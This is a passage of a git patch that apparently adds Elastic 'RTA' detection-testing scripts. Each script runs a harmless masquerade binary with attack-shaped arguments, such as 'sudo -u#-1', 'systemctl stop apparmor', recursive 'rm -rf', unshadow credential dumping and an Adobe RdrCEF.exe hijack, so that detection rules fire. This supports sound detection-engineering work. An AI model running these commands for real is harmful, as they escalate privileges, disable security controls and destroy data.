From 57095a28b905cfc98935cad520b881e123a06829 Mon Sep 17 00:00:00 2001 From: Eric Forte <119343520+eric-forte-elastic@users.noreply.github.com> Date: Thu, 6 Jun 2024 14:42:37 -0400 Subject: [PATCH] react_sync_rta_updates_3575 (#3762) --- rta/adobe_hijack.py | 11 ++-- rta/attempt_to_establish_vscode.py | 36 ++++++++++++ rta/bash_cmdline_history.py | 24 ++++---- rta/bin/create_file.elf | Bin 0 -> 17304 bytes rta/binary_execution_from_shared_memory.py | 44 +++++++++++++++ rta/browser_debugging.py | 18 +++--- rta/builtin_cmd_file_delete.py | 17 +++--- rta/cat_network_activity.py | 36 ++++++++++++ rta/cloud_eicar.py | 39 +++++++++++++ rta/credential_dumping.py | 39 +++++++++++++ rta/credential_dumping_via_proc.py | 48 ++++++++++++++++ rta/cve_2019_14287.py | 44 +++++++++++++++ rta/cve_2023_0386.py | 43 ++++++++++++++ rta/darkradiation.py | 9 ++- rta/disable_security_controls.py | 40 +++++++++++++ rta/eggshell_backdoor.py | 9 ++- rta/eicar.py | 11 ++-- rta/empire_stager.py | 9 ++- rta/enumeration_linpeas.py | 16 +++--- rta/exec_shell_kworker.py | 40 +++++++++++++ rta/execution_linux_curl_cve_2023_38545.py | 48 ++++++++++++++++ rta/gdb_init_secret_dump.py | 36 ++++++++++++ rta/linux_discovery_command_from_sus_dir.py | 52 +++++++++++++++++ rta/linux_exec_interactive_shell.py | 40 +++++++++++++ rta/linux_hack_tool.py | 34 +++++++++++ rta/linux_initd_unusual_binary_execution.py | 51 +++++++++++++++++ ...linux_persistence_kworker_file_creation.py | 39 +++++++++++++ rta/linux_reverse_shell.py | 31 ++++++++++ rta/linux_reverse_shell_via_netcat.py | 37 ++++++++++++ rta/linux_reverse_shell_via_utility.py | 39 +++++++++++++ rta/message_of_the_day_execution.py | 53 ++++++++++++++++++ rta/multiarch_file_drops.py | 39 +++++++++++++ rta/ojnl_injection.py | 44 +++++++++++++++ rta/overlayfs_privesc.py | 39 +++++++------ rta/persistence_shell_via_web_server.py | 49 ++++++++++++++++ rta/pkexec_shell.py | 13 +++-- rta/polkit_system_service.py | 49 ++++++++++++++++ rta/potential_vscode_tunnel.py | 40 +++++++++++++ rta/reverse_shell.py | 18 ++++-- rta/src/create_file.c | 45 +++++++++++++++ rta/ssh_it_worm.py | 39 +++++++++++++ rta/sudo_exploit.py | 25 +++++---- rta/suspicious_kibana_child.py | 49 ++++++++++++++++ rta/suspicious_mining_process.py | 35 ++++++++++++ rta/vsingle_malware.py | 34 +++++++++++ tests/test_mappings.py | 2 +- 46 files changed, 1406 insertions(+), 107 deletions(-) create mode 100644 rta/attempt_to_establish_vscode.py create mode 100644 rta/bin/create_file.elf create mode 100644 rta/binary_execution_from_shared_memory.py create mode 100644 rta/cat_network_activity.py create mode 100644 rta/cloud_eicar.py create mode 100644 rta/credential_dumping.py create mode 100644 rta/credential_dumping_via_proc.py create mode 100644 rta/cve_2019_14287.py create mode 100644 rta/cve_2023_0386.py create mode 100644 rta/disable_security_controls.py create mode 100644 rta/exec_shell_kworker.py create mode 100644 rta/execution_linux_curl_cve_2023_38545.py create mode 100644 rta/gdb_init_secret_dump.py create mode 100644 rta/linux_discovery_command_from_sus_dir.py create mode 100644 rta/linux_exec_interactive_shell.py create mode 100644 rta/linux_hack_tool.py create mode 100644 rta/linux_initd_unusual_binary_execution.py create mode 100644 rta/linux_persistence_kworker_file_creation.py create mode 100644 rta/linux_reverse_shell.py create mode 100644 rta/linux_reverse_shell_via_netcat.py create mode 100644 rta/linux_reverse_shell_via_utility.py create mode 100644 rta/message_of_the_day_execution.py create mode 100644 rta/multiarch_file_drops.py create mode 100644 rta/ojnl_injection.py create mode 100644 rta/persistence_shell_via_web_server.py create mode 100644 rta/polkit_system_service.py create mode 100644 rta/potential_vscode_tunnel.py create mode 100644 rta/src/create_file.c create mode 100644 rta/ssh_it_worm.py create mode 100644 rta/suspicious_kibana_child.py create mode 100644 rta/suspicious_mining_process.py create mode 100644 rta/vsingle_malware.py diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py index e143d5022..f2fec5715 100644 --- a/rta/adobe_hijack.py +++ b/rta/adobe_hijack.py @@ -4,11 +4,10 @@ # 2.0. # Name: Adobe Hijack Persistence -# RTA: adobe_hijack.py # ATT&CK: T1044 # Description: Replaces PE file that will run on Adobe Reader start. -import os +import sys from pathlib import Path from . import RtaMetadata, common @@ -23,7 +22,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): +def main() -> None: rdr_cef_dir = Path("C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") rdrcef_exe = rdr_cef_dir / "RdrCEF.exe" cmd_path = "C:\\Windows\\System32\\cmd.exe" @@ -32,11 +31,11 @@ def main(): # backup original if it exists if rdrcef_exe.is_file(): - common.log("{} already exists, backing up file.".format(rdrcef_exe)) + common.log(f"{rdrcef_exe} already exists, backing up file.") common.copy_file(rdrcef_exe, backup) backedup = True else: - common.log("{} doesn't exist. Creating path.".format(rdrcef_exe)) + common.log(f"{rdrcef_exe} doesn't exist. Creating path.") rdr_cef_dir.mkdir(parents=True) # overwrite original @@ -53,4 +52,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/attempt_to_establish_vscode.py b/rta/attempt_to_establish_vscode.py new file mode 100644 index 000000000..e5ab9bd46 --- /dev/null +++ b/rta/attempt_to_establish_vscode.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="a078ecca-e8b8-4ae8-a76c-3238e74ca34d", + platforms=["linux"], + endpoint=[ + {"rule_id": "13fd98ce-f1c3-423f-9441-45c50eb462c0", "rule_name": "Attempt to etablish VScode Remote Tunnel"}, + ], + siem=[], + techniques=["T1102", "T1059"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/code" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Executing Fake commands to test Attempt to etablish VScode Remote Tunnel") + common.execute([masquerade, "tunnel"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/bash_cmdline_history.py b/rta/bash_cmdline_history.py index 9c392dc13..b4fdac56b 100644 --- a/rta/bash_cmdline_history.py +++ b/rta/bash_cmdline_history.py @@ -3,14 +3,15 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="631a211d-bdaa-4b9d-a786-31d84d7bc070", - platforms=["linux", "macos"], + platforms=["linux"], endpoint=[ - {"rule_id": "31da6564-b3d3-4fc8-9a96-75ad0b364363", "rule_name": "Tampering of Bash Command-Line History"} + {"rule_id": "31da6564-b3d3-4fc8-9a96-75ad0b364363", "rule_name": "Tampering of Bash Command-Line History"}, ], siem=[], techniques=["T1070", "T1070.003"], @@ -18,23 +19,18 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/history" - - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) # Execute command common.log("Launching fake builtin commands for tampering of bash command line history") command = "-c" - common.execute([masquerade, command], timeout=10, kill=True, shell=True) + common.execute([masquerade, command], timeout=10, kill=True, shell=True) # noqa: S604 # cleanup common.remove_file(masquerade) if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/bin/create_file.elf b/rta/bin/create_file.elf new file mode 100644 index 0000000000000000000000000000000000000000..ab2b1646a3639baff3b2ef40b5033f2a5c0321ed GIT binary patch literal 17304 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 literal 0 HcmV?d00001 diff --git a/rta/binary_execution_from_shared_memory.py b/rta/binary_execution_from_shared_memory.py new file mode 100644 index 000000000..192468377 --- /dev/null +++ b/rta/binary_execution_from_shared_memory.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="1b7fe2e7-29c0-4d10-9ced-8b9cd158835d", + platforms=["linux"], + endpoint=[ + { + "rule_id": "78ae5dbd-477b-4ce7-a7f7-8c4b5e228df2", + "rule_name": "Binary Executed from Shared Memory Directory", + }, + ], + siem=[ + { + "rule_id": "3f3f9fe2-d095-11ec-95dc-f661ea17fbce", + "rule_name": "Binary Executed from Shared Memory Directory", + }, + ], + techniques=["T1620"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/dev/shm/test" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Executing Fake binary from Shared Memory") + common.execute([masquerade, "test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/browser_debugging.py b/rta/browser_debugging.py index 661599e4e..be158193c 100644 --- a/rta/browser_debugging.py +++ b/rta/browser_debugging.py @@ -4,10 +4,9 @@ # 2.0. import platform +import sys -from . import common -from . import RtaMetadata - +from . import RtaMetadata, common metadata = RtaMetadata( uuid="e061a96e-4c31-4f67-9745-6ff873f7829e", @@ -16,13 +15,13 @@ metadata = RtaMetadata( { "rule_name": "Potential Cookies Theft via Browser Debugging", "rule_id": "5d7328aa-973b-41e7-a6b3-6f40ea3094f1", - } + }, ], siem=[ { "rule_name": "Potential Cookies Theft via Browser Debugging", "rule_id": "027ff9ea-85e7-42e3-99d2-bbb7069e02eb", - } + }, ], techniques=["T1539"], ) @@ -31,14 +30,11 @@ EXE_FILE = common.get_path("bin", "renamed_posh.exe") @common.requires_os(*metadata.platforms) -def main(): +def main() -> None: param1 = "--remote-debugging-port=9222" param2 = "--user-data-dir=remote-profile" if platform.system() == "Darwin": - if platform.processor() == "arm": - name = "com.apple.ditto_and_spawn_arm" - else: - name = "com.apple.ditto_and_spawn_intel" + name = "com.apple.ditto_and_spawn_arm" if platform.processor() == "arm" else "com.apple.ditto_and_spawn_intel" source = common.get_path("bin", name) chrome = "/tmp/google-chrome" @@ -66,4 +62,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/builtin_cmd_file_delete.py b/rta/builtin_cmd_file_delete.py index e4f1547f6..1fadc3f4a 100644 --- a/rta/builtin_cmd_file_delete.py +++ b/rta/builtin_cmd_file_delete.py @@ -4,9 +4,10 @@ # 2.0. import os -from . import common import pathlib -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="c69a06f3-3873-4d5d-8584-035e0921b4a8", @@ -15,7 +16,7 @@ metadata = RtaMetadata( { "rule_id": "15019d7c-42e6-4cf7-88b0-0c3a6963e6f5", "rule_name": "Suspicious Recursive File Deletion via Built-In Utilities", - } + }, ], siem=[], techniques=["T1565", "T1485"], @@ -23,14 +24,14 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/xargs" masquerade2 = "/tmp/rm" # used only for linux at 2 places to enumerate xargs as parent process. working_dir = "/tmp/fake_folder/xargs" if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") + # Using the Linux binary that simulates parent-> child process in Linux + source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") common.copy_file(source, masquerade) common.copy_file(source, masquerade2) # As opposed to macos, where the masquerade is being projected as parent process, @@ -47,7 +48,7 @@ def main(): # Execute command common.log("Launching fake builtin commands to recursively delete") command = f"{masquerade2} -rf arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 /home/test" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) + common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 # cleanup common.remove_file(masquerade) @@ -57,4 +58,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/cat_network_activity.py b/rta/cat_network_activity.py new file mode 100644 index 000000000..1200ac86c --- /dev/null +++ b/rta/cat_network_activity.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="fcd2d0fe-fed2-424a-bdc5-e9bef5031344", + platforms=["linux"], + endpoint=[{"rule_name": "Network Activity Detected via cat", "rule_id": "25ae94f5-0214-4bf1-b534-33d4ffc3d41c"}], + siem=[{"rule_name": "Network Activity Detected via cat", "rule_id": "afd04601-12fc-4149-9b78-9c3f8fe45d39"}], + techniques=[""], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + common.log("Creating a fake cat executable..") + masquerade = "/tmp/cat" + source = common.get_path("bin", "netcon_exec_chain.elf") + common.copy_file(source, masquerade) + common.log("Granting execute permissions...") + common.execute(["chmod", "+x", masquerade]) + common.log("Simulating cat network activity..") + common.execute([masquerade, "netcon", "-h", "8.8.8.8", "-p", "53"], timeout=10, kill=True, shell=True) # noqa: S604 + common.log("Cat network simulation successful!") + common.log("Cleaning...") + common.remove_file(masquerade) + common.log("RTA completed!") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/cloud_eicar.py b/rta/cloud_eicar.py new file mode 100644 index 000000000..c32e1ad26 --- /dev/null +++ b/rta/cloud_eicar.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="8d6f2979-747a-42d9-813a-ddadd90650d2", + platforms=["linux"], + endpoint=[ + { + "rule_id": "7b9ddfc8-8ea8-45d5-b62f-3fbd142c8f08", + "rule_name": "Behavior Protection - Cloud Reputation EICAR", + }, + ], + siem=[], + techniques=["TA0002"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/bash" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching Behavior Protection - Cloud Reputation EICAR") + common.execute([masquerade, "test-cloudreputationrule-5020a0031cad"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/credential_dumping.py b/rta/credential_dumping.py new file mode 100644 index 000000000..01217e694 --- /dev/null +++ b/rta/credential_dumping.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="43ce7648-d48a-4609-80a5-f68384e498d3", + platforms=["linux"], + endpoint=[ + { + "rule_id": "05f95917-6942-4aab-a904-37c6db906503", + "rule_name": "Potential Linux Credential Dumping via Unshadow", + }, + ], + siem=[], + techniques=["T1003"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/unshadow" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Executing Fake commands to test Credential Dumping via Unshadow") + common.execute([masquerade, "shadow password"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/credential_dumping_via_proc.py b/rta/credential_dumping_via_proc.py new file mode 100644 index 000000000..800e3c30f --- /dev/null +++ b/rta/credential_dumping_via_proc.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="e5a98cc9-1f15-4d14-baf2-96bebb932ae9", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Potential Linux Credential Dumping via Proc Filesystem", + "rule_id": "508226f9-4030-4e86-86cd-63321b7164bc", + }, + ], + siem=[ + { + "rule_name": "Potential Linux Credential Dumping via Proc Filesystem", + "rule_id": "ef100a2e-ecd4-4f72-9d1e-2f779ff3c311", + }, + ], + techniques=["T1212", "T1003", "T1003.007"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/ps" + masquerade2 = "/tmp/strings" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + common.copy_file(source, masquerade2) + + # Execute command + common.log("Launching fake commands to dump credential via proc") + common.execute([masquerade, "-eo", "pid", "command"], timeout=5, kill=True) + common.execute([masquerade2, "/tmp/test"], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/cve_2019_14287.py b/rta/cve_2019_14287.py new file mode 100644 index 000000000..bbd36bb0e --- /dev/null +++ b/rta/cve_2019_14287.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="df91f5f2-a0a0-47e8-848b-d01526a43d60", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Potential Sudo Privilege Escalation via CVE-2019-14287", + "rule_id": "b382c343-892d-46e1-8fad-22576a086598", + }, + ], + siem=[ + { + "rule_name": "Potential Sudo Privilege Escalation via CVE-2019-14287", + "rule_id": "8af5b42f-8d74-48c8-a8d0-6d14b4197288", + }, + ], + techniques=["T1068"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/sudo" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake sudo command to simulate CVE-2019-14287") + common.execute([masquerade, "-u#-1"], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/cve_2023_0386.py b/rta/cve_2023_0386.py new file mode 100644 index 000000000..c0a9eca79 --- /dev/null +++ b/rta/cve_2023_0386.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="432b8bb0-03e2-4618-bda9-77c0cef7eef8", + platforms=["linux"], + endpoint=[ + { + "rule_id": "22145fc0-dc4c-4187-8397-4d20162fc391", + "rule_name": "CVE-2023-0386 Exploitation Attempt", + }, + ], + siem=[], + techniques=["T1068"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/fuse" + masquerade2 = "/tmp/fusermount" + # Using the Linux binary that simulates parent-> child process in Linux + source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") + common.copy_file(source, masquerade) + common.copy_file(source, masquerade2) + + # Execute command + common.log("Executing Fake Commands to simulate CVE-2023-0386 Exploitation Attempt") + command = f"{masquerade2} -o rw,nosuid,nodev ./* " + common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/darkradiation.py b/rta/darkradiation.py index 3cd28ffdf..bdac27049 100644 --- a/rta/darkradiation.py +++ b/rta/darkradiation.py @@ -3,9 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="4843eb25-3579-473a-b309-76d02eda3085", @@ -17,8 +17,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/xargs" if common.CURRENT_OS == "linux": source = common.get_path("bin", "linux.ditto_and_spawn") @@ -35,4 +34,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/disable_security_controls.py b/rta/disable_security_controls.py new file mode 100644 index 000000000..2fc6cfcfc --- /dev/null +++ b/rta/disable_security_controls.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="4eceac28-10c3-425f-a007-c03a9b57956f", + platforms=["linux"], + endpoint=[ + { + "rule_id": "b63df89d-ac6f-44d7-80fa-ddf038295e42", + "rule_name": "Attempt to Disable Linux Security and Logging Controls", + }, + ], + siem=[], + techniques=["T1562", "T1562.001"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/systemctl" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake builtin commands for disabling security controls") + command = "stop" + command1 = "apparmor" + common.execute([masquerade, command, command1], timeout=10, kill=True, shell=True) # noqa: S604 + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/eggshell_backdoor.py b/rta/eggshell_backdoor.py index 9576f85bc..c98d499ee 100644 --- a/rta/eggshell_backdoor.py +++ b/rta/eggshell_backdoor.py @@ -3,9 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="be090f8e-dc7b-41eb-9c7e-74a0aed0dad1", @@ -17,8 +17,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/eggshell" if common.CURRENT_OS == "linux": source = common.get_path("bin", "linux.ditto_and_spawn") @@ -35,4 +34,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/eicar.py b/rta/eicar.py index 6e3cd0fda..d3794dd06 100644 --- a/rta/eicar.py +++ b/rta/eicar.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="c8efd8c9-b32c-482a-90ff-f2d366a2af45", @@ -16,8 +17,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/bash" if common.CURRENT_OS in ["linux", "macos"]: if common.CURRENT_OS == "linux": @@ -33,7 +33,6 @@ def main(): # cleanup common.remove_file(masquerade) else: - cmd = "C:\\Windows\\System32\\cmd.exe" # Execute command @@ -42,4 +41,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/empire_stager.py b/rta/empire_stager.py index be0743519..74d2ac66a 100644 --- a/rta/empire_stager.py +++ 